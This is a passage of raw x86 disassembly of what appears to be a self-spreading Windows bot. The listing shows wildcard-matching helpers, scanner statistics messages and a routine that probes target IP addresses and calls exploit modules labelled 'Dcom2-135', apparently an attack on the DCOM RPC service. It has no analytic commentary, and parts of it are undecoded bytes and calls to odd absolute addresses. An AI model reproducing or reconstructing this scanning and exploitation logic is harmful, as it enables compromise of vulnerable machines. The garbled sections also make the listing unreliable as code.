		mov	[ebp+arg_4], eax
		jmp	short loc_40D937
; ---------------------------------------------------------------------------


loc_40D8FF:				; CODE XREF: sub_40D887+44j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40DAA0
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		dec	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40D937
; ---------------------------------------------------------------------------


loc_40D91A:				; CODE XREF: sub_40D887+52j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax


loc_40D937:				; CODE XREF: sub_40D887+6Dj
					; sub_40D887+76j ...
		jmp	loc_40D896
; ---------------------------------------------------------------------------


loc_40D93C:				; CODE XREF: sub_40D887+1Ej
					; sub_40D887+28j ...
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40D956
		cmp	[ebp+var_4], 1
		jnz	short loc_40D956
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40D93C
; ---------------------------------------------------------------------------


loc_40D956:				; CODE XREF: sub_40D887+BEj
					; sub_40D887+C4j
		cmp	[ebp+var_4], 1
		jnz	short loc_40D979
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40D979
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40D979
		mov	[ebp+var_C], 1
		jmp	short loc_40D97D
; ---------------------------------------------------------------------------


loc_40D979:				; CODE XREF: sub_40D887+D3j
					; sub_40D887+DDj ...
		and	[ebp+var_C], 0


loc_40D97D:				; CODE XREF: sub_40D887+F0j
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40D887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D982	proc near		; CODE XREF: sub_40D887+63p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		mov	[ebp+var_C], 1
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40D9B6
		mov	[ebp+var_8], 1
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_40D9B6:				; CODE XREF: sub_40D982+20j
					; sub_40D982+F4j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Dh
		jnz	short loc_40D9CD
		cmp	[ebp+var_C], 1
		jnz	loc_40DA7B


loc_40D9CD:				; CODE XREF: sub_40D982+3Fj
		cmp	[ebp+var_4], 0
		jnz	loc_40DA67
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Dh
		jnz	short loc_40DA4C
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax-1]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		movsx	ecx, byte ptr [ecx+1]
		cmp	eax, ecx
		jge	short loc_40DA4C
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 5Dh
		jz	short loc_40DA4C
		cmp	[ebp+var_C], 0
		jnz	short loc_40DA4C
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		movsx	ecx, byte ptr [ecx-1]
		cmp	eax, ecx
		jl	short loc_40DA4A
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		movsx	ecx, byte ptr [ecx+1]
		cmp	eax, ecx
		jg	short loc_40DA4A
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_40DA4A:				; CODE XREF: sub_40D982+9Fj
					; sub_40D982+B4j
		jmp	short loc_40DA67
; ---------------------------------------------------------------------------


loc_40DA4C:				; CODE XREF: sub_40D982+60j
					; sub_40D982+76j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40DA67
		mov	[ebp+var_4], 1


loc_40DA67:				; CODE XREF: sub_40D982+4Fj
					; sub_40D982:loc_40DA4Aj ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		and	[ebp+var_C], 0
		jmp	loc_40D9B6
; ---------------------------------------------------------------------------


loc_40DA7B:				; CODE XREF: sub_40D982+45j
		cmp	[ebp+var_8], 1
		jnz	short loc_40DA8A
		push	1
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax


loc_40DA8A:				; CODE XREF: sub_40D982+FDj
		cmp	[ebp+var_4], 1
		jnz	short loc_40DA9B
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_40DA9B:				; CODE XREF: sub_40D982+10Cj
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D982	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAA0	proc near		; CODE XREF: sub_40D887+80p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_40DAB7:				; CODE XREF: sub_40DAA0+60j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40DB02
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jz	short loc_40DADD
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40DB02


loc_40DADD:				; CODE XREF: sub_40DAA0+2Ej
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40DAF5
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_40DAF5:				; CODE XREF: sub_40DAA0+48j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		jmp	short loc_40DAB7
; ---------------------------------------------------------------------------


loc_40DB02:				; CODE XREF: sub_40DAA0+21j
					; sub_40DAA0+3Bj ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40DB1C
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		jmp	short loc_40DB02
; ---------------------------------------------------------------------------


loc_40DB1C:				; CODE XREF: sub_40DAA0+6Dj
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40DB40
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40DB40
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_4]
		jmp	locret_40DC28
; ---------------------------------------------------------------------------


loc_40DB40:				; CODE XREF: sub_40DAA0+86j
					; sub_40DAA0+92j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40DB67
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40DB67
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_4]
		jmp	locret_40DC28
; ---------------------------------------------------------------------------


loc_40DB67:				; CODE XREF: sub_40DAA0+AAj
					; sub_40DAA0+B6j
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_40D887
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DC06


loc_40DB80:				; CODE XREF: sub_40DAA0+160j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_40DB8B:				; CODE XREF: sub_40DAA0+123j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_40DBC5
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Bh
		jz	short loc_40DBC5
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40DBC5
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_40DB8B
; ---------------------------------------------------------------------------


loc_40DBC5:				; CODE XREF: sub_40DAA0+FDj
					; sub_40DAA0+10Aj ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40DBEC
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_40D887
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40DBFC
; ---------------------------------------------------------------------------


loc_40DBEC:				; CODE XREF: sub_40DAA0+12Fj
		and	[ebp+var_4], 0
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		mov	[ebp+var_8], eax


loc_40DBFC:				; CODE XREF: sub_40DAA0+14Aj
		cmp	[ebp+var_8], 0
		jnz	loc_40DB80


loc_40DC06:				; CODE XREF: sub_40DAA0+DAj
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40DC25
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40DC25
		mov	[ebp+var_4], 1


loc_40DC25:				; CODE XREF: sub_40DAA0+170j
					; sub_40DAA0+17Cj
		mov	eax, [ebp+var_4]

locret_40DC28:				; CODE XREF: sub_40DAA0+9Bj
					; sub_40DAA0+C2j
		leave
		retn
sub_40DAA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC2A	proc near		; CODE XREF: sub_4021E5+234Dp

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		and	[ebp+var_408], 0
		push	offset unk_449378
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_40DC63
; ---------------------------------------------------------------------------


loc_40DC56:				; CODE XREF: sub_40DC2A:loc_40DCEFj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_40DC63:				; CODE XREF: sub_40DC2A+2Aj
		mov	eax, [ebp+var_204]
		shl	eax, 6
		cmp	dword_448FE8[eax], 0
		jz	short loc_40DCF4
		mov	eax, [ebp+var_204]
		shl	eax, 6
		cmp	dword_448FF0[eax], 0
		jbe	short loc_40DCEF
		mov	eax, [ebp+var_204]
		shl	eax, 6
		mov	ecx, [ebp+var_408]
		add	ecx, dword_448FF0[eax]
		mov	[ebp+var_408], ecx
		mov	eax, [ebp+var_204]
		shl	eax, 6
		push	dword_448FF0[eax]
		mov	eax, [ebp+var_204]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset dword_449398
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_422A20
		add	esp, 0Ch


loc_40DCEF:				; CODE XREF: sub_40DC2A+5Bj
		jmp	loc_40DC56
; ---------------------------------------------------------------------------


loc_40DCF4:				; CODE XREF: sub_40DC2A+49j
		push	dword_4E141C
		call	sub_41E075
		pop	ecx
		push	eax
		push	[ebp+var_408]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_422A20
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40DC2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD5F	proc near		; CODE XREF: sub_4021E5+23A6p

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, dword_4E4220
		add	eax, dword_4E421C
		mov	[ebp+var_4], eax
		push	dword_4E141C
		call	sub_41E075
		pop	ecx
		push	eax
		push	[ebp+var_4]
		push	dword_4E4220
		push	dword_4E421C
		push	offset unk_4493B8
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_204]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40DD5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDCF	proc near		; CODE XREF: sub_4021E5+23FFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4E141C
		call	sub_41E075
		pop	ecx
		push	eax
		push	dword_4E4590
		push	offset unk_449400
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40DDCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE28	proc near		; CODE XREF: sub_4021E5+2458p

var_1004	= byte ptr -1004h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_421EE0
		push	offset dword_44942C
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		and	[ebp+var_804], 0
		jmp	short loc_40DE5E
; ---------------------------------------------------------------------------


loc_40DE51:				; CODE XREF: sub_40DE28+95j
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_40DE5E:				; CODE XREF: sub_40DE28+27j
		mov	eax, [ebp+var_804]
		shl	eax, 6
		cmp	dword_448FE8[eax], 0
		jz	short loc_40DEBF
		mov	eax, [ebp+var_804]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		mov	eax, [ebp+var_804]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset dword_449448
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_422A20
		add	esp, 0Ch
		jmp	short loc_40DE51
; ---------------------------------------------------------------------------


loc_40DEBF:				; CODE XREF: sub_40DE28+46j
		push	dword_4E141C
		call	sub_41E075
		pop	ecx
		push	eax
		push	offset aScanTimeS_ ; " Scan Time: %s."
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_422A20
		add	esp, 0Ch
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40DE28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF24	proc near		; DATA XREF: sub_4021E5+40E7o

var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3E4		= byte ptr -3E4h
var_364		= byte ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_320		= byte ptr -320h
var_2A0		= byte ptr -2A0h
var_220		= dword	ptr -220h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F8h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	4Bh
		pop	ecx
		lea	edi, [ebp+var_330]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_204], eax
		mov	eax, [ebp+var_204]
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_330]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_33C], eax
		and	[ebp+var_334], 0
		and	[ebp+var_338], 0
		jmp	short loc_40DF86
; ---------------------------------------------------------------------------


loc_40DF79:				; CODE XREF: sub_40DF24:loc_40E121j
		mov	eax, [ebp+var_338]
		inc	eax
		mov	[ebp+var_338], eax


loc_40DF86:				; CODE XREF: sub_40DF24+53j
		mov	eax, [ebp+var_338]
		shl	eax, 6
		cmp	dword_448FE8[eax], 0
		jz	loc_40E126
		push	[ebp+var_218]
		mov	eax, [ebp+var_338]
		shl	eax, 6
		push	dword_448FE8[eax]
		push	[ebp+var_33C]
		call	sub_40E8AF
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40E121
		mov	eax, [ebp+var_338]
		shl	eax, 6
		push	dword_448FE8[eax]
		lea	eax, [ebp+var_330]
		push	eax
		mov	eax, [ebp+var_338]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset unk_449468
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	[ebp+var_210]
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_320]
		push	eax
		push	[ebp+var_220]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_338]
		shl	eax, 6
		add	eax, offset aDcom2135 ;	"dcom2-135"
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		movsx	eax, [ebp+var_2A0]
		test	eax, eax
		jz	short loc_40E086
		lea	eax, [ebp+var_2A0]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_40E09B
; ---------------------------------------------------------------------------


loc_40E086:				; CODE XREF: sub_40DF24+149j
		lea	eax, [ebp+var_320]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_40E09B:				; CODE XREF: sub_40DF24+160j
		mov	eax, [ebp+var_220]
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_210]
		mov	[ebp+var_348], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_344], eax
		mov	eax, [ebp+var_338]
		shl	eax, 6
		mov	eax, dword_448FE8[eax]
		mov	[ebp+var_358], eax
		mov	eax, [ebp+var_214]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_338]
		mov	[ebp+var_350], eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+var_3F8]
		mov	edi, esp
		rep movsd
		mov	eax, [ebp+var_338]
		shl	eax, 6
		call	off_448FEC[eax]
		add	esp, 0BCh
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax


loc_40E121:				; CODE XREF: sub_40DF24+9Ej
		jmp	loc_40DF79
; ---------------------------------------------------------------------------


loc_40E126:				; CODE XREF: sub_40DF24+72j
		push	[ebp+var_334]
		lea	eax, [ebp+var_330]
		push	eax
		push	offset unk_449498
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+var_210]
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_320]
		push	eax
		push	[ebp+var_220]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_214]
		call	sub_40D802
		pop	ecx
		push	0
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		leave
		retn	4
sub_40DF24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E192	proc near		; CODE XREF: sub_4021E5+3580p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	0Bh
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jle	short loc_40E1DA
		mov	eax, [ebp+arg_C]
		mov	eax, dword_4E1860[eax*8]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_4E178C	; inet_ntoa
		push	eax
		push	offset unk_4494CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_40E1ED
; ---------------------------------------------------------------------------


loc_40E1DA:				; CODE XREF: sub_40E192+13j
		push	offset dword_4494E8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_40E1ED:				; CODE XREF: sub_40E192+46j
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4173DC
		pop	ecx
		leave
		retn
sub_40E192	endp

; ---------------------------------------------------------------------------
		dw 8B55h
		dd 8EC81ECh, 83000002h,	138BDh,	840FFF00h, 56Ch, 138858Bh
		dd 0E0C10000h, 0F4B88306h, 448Fh, 556840Fh, 56A0000h, 0FFF490E8h
		dd 0C08559FFh, 29C850Fh, 78A10000h, 0A3004410h,	4E3B2Ch
		dd 3B282583h, 6800004Eh, 104h, 4E391C68h, 90006A00h, 391D8BE8h
		dd 1036802h, 0E8680000h, 68004410h, 4E3A20h, 131E7E8h
		dd 0CC48300h, 118858Bh,	18A30000h, 8B004E39h, 14085h, 3BB0A300h
		dd 0BE0F004Eh, 9885h, 75C08500h, 8D7F6A1Fh, 68501845h
		dd 4E3B30h, 131B3E8h, 0CC48300h, 3BB405C7h, 1004Eh, 1DEB0000h
		dd 858D7F6Ah, 98h, 3B306850h, 91E8004Eh, 83000131h, 25830CC4h
		dd 4E3BB4h, 391C6800h, 35FF004Eh, 4E3B2Ch, 44950868h, 858D00h
		dd 50FFFFFEh, 136BBE8h,	10C48300h, 56A006Ah, 0FE00858Dh
		dd 0E850FFFFh, 0FFFFF012h, 0A30CC483h, 4E3B24h,	0FDFC858Dh
		dd 6A50FFFFh, 39186800h, 0D468004Eh, 6A00416Bh,	0E8006A00h
		dd 23A22A6h, 240D8B90h,	69004E3Bh, 234C9h, 2C818900h, 0A1004546h
		dd 4E3B24h, 234C069h, 0B8830000h, 45462Ch
		db 0, 74h, 15h
; ---------------------------------------------------------------------------


loc_40E363:				; CODE XREF: .XComp0:0040E374j
		cmp	dword_4E3BB8, 0
		jnz	short loc_40E376
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40E363
; ---------------------------------------------------------------------------


loc_40E376:				; CODE XREF: .XComp0:0040E36Aj
		jmp	short loc_40E393
; ---------------------------------------------------------------------------
		db 90h
		db 0E8h, 1, 2Ch
; ---------------------------------------------------------------------------
		cmp	al, [edx]
		push	eax
		push	offset unk_44953C
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40E393:				; CODE XREF: .XComp0:loc_40E376j
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, dword_4E1418
		mov	dword_4E3DD4, eax
		and	dword_4E3DD0, 0
		push	104h
		push	offset dword_4E3BC4
		push	0
		call	near ptr 27A0000h
		nop
		push	103h
		push	offset byte_4410E8
		push	offset dword_4E3CC8
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+118h]
		mov	dword_4E3BC0, eax
		mov	eax, [ebp+140h]
		mov	dword_4E3E58, eax
		movsx	eax, byte ptr [ebp+98h]
		test	eax, eax
		jnz	short loc_40E41A
		push	7Fh
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4E3DD8
		call	sub_421470
		add	esp, 0Ch
		mov	dword_4E3E5C, 1
		jmp	short loc_40E437
; ---------------------------------------------------------------------------


loc_40E41A:				; CODE XREF: .XComp0:0040E3F9j
		push	7Fh
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4E3DD8
		call	sub_421470
		add	esp, 0Ch
		and	dword_4E3E5C, 0


loc_40E437:				; CODE XREF: .XComp0:0040E418j
		push	offset dword_4E3BC4
		push	dword_4E3DD4
		push	offset unk_449570
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	4
		lea	eax, [ebp-200h]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	dword_4E3DCC, eax
		lea	eax, [ebp-204h]
		push	eax
		push	0
		push	offset dword_4E3BC0
		push	offset dword_413AA4
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, dword_4E3DCC
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, dword_4E3DCC
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_40E4C6


loc_40E4B1:				; CODE XREF: .XComp0:0040E4C2j
		cmp	dword_4E3E60, 0
		jnz	short loc_40E4C4
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40E4B1
; ---------------------------------------------------------------------------


loc_40E4C4:				; CODE XREF: .XComp0:0040E4B8j
		jmp	short loc_40E4E1
; ---------------------------------------------------------------------------


loc_40E4C6:				; CODE XREF: .XComp0:0040E4AFj
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_4495A4
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40E4E1:				; CODE XREF: .XComp0:loc_40E4C4j
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+138h]
		shl	eax, 6
		cmp	dword_448FFC[eax], 0
		jz	loc_40E634
		push	7
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jnz	loc_40E634
		mov	eax, dword_4E4588
		mov	dword_4E3884, eax
